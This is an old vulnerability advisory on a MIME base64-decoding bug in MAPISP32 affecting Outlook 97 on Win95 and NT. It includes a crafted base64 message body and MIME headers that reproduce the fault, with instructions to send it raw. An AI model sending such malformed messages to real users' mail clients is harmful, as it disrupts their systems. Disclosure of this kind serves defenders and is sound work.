COMMAND

    MAPISP32 Mime-decoding

SYSTEMS AFFECTED

    Win95, NT

PROBLEM

    Jason Adam  Young found  possible bug  in MAPISP32  Mime-decoding.
    This  bug  has  been  reproduced  on  both  Win95  and  WinNT with
    Outlook 97, with the Internet  Mail Patch, with two different  pop
    accounts,  each  from  two   different  POP3  servers,  and   with
    different  messages  encoded  in  a  similar  fashion.  It was not
    tested with Outlook Express or  Exchange Client.  The one  message
    sent to a user who uses Outlook 98 did not cause this problem.

    Apparently the message between the delimeters needs to be of the
    size above:  (ie. a PGP signature seems to do this well)

    Encoding the below in base64:

    ----- -----
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
    CCCCC
    ----- -----

    becomes:

    LS0tLS0gLS0tLS0NCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
    QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC
    QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkINCkNDQ0NDDQotLS0tLSAtLS0t
    LQ==

    Adding a '-' + some alphanumeric to the string:

    -a
    LS0tLS0gLS0tLS0NCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
    QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC
    QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkINCkNDQ0NDDQotLS0tLSAtLS0t
    LQ==

    and setting your headers:

    MIME-Version: 1.0
    Content-Type: text/plain; charset=ISO-8859-1
    Content-Transfer-Encoding: base64

    seems to do it.   You have to send  this from a mail  program that
    can send the raw data and  headers and not mess with the  message.
    You can use the Unix 'send' command.

SOLUTION

    Info regarding status of this expected.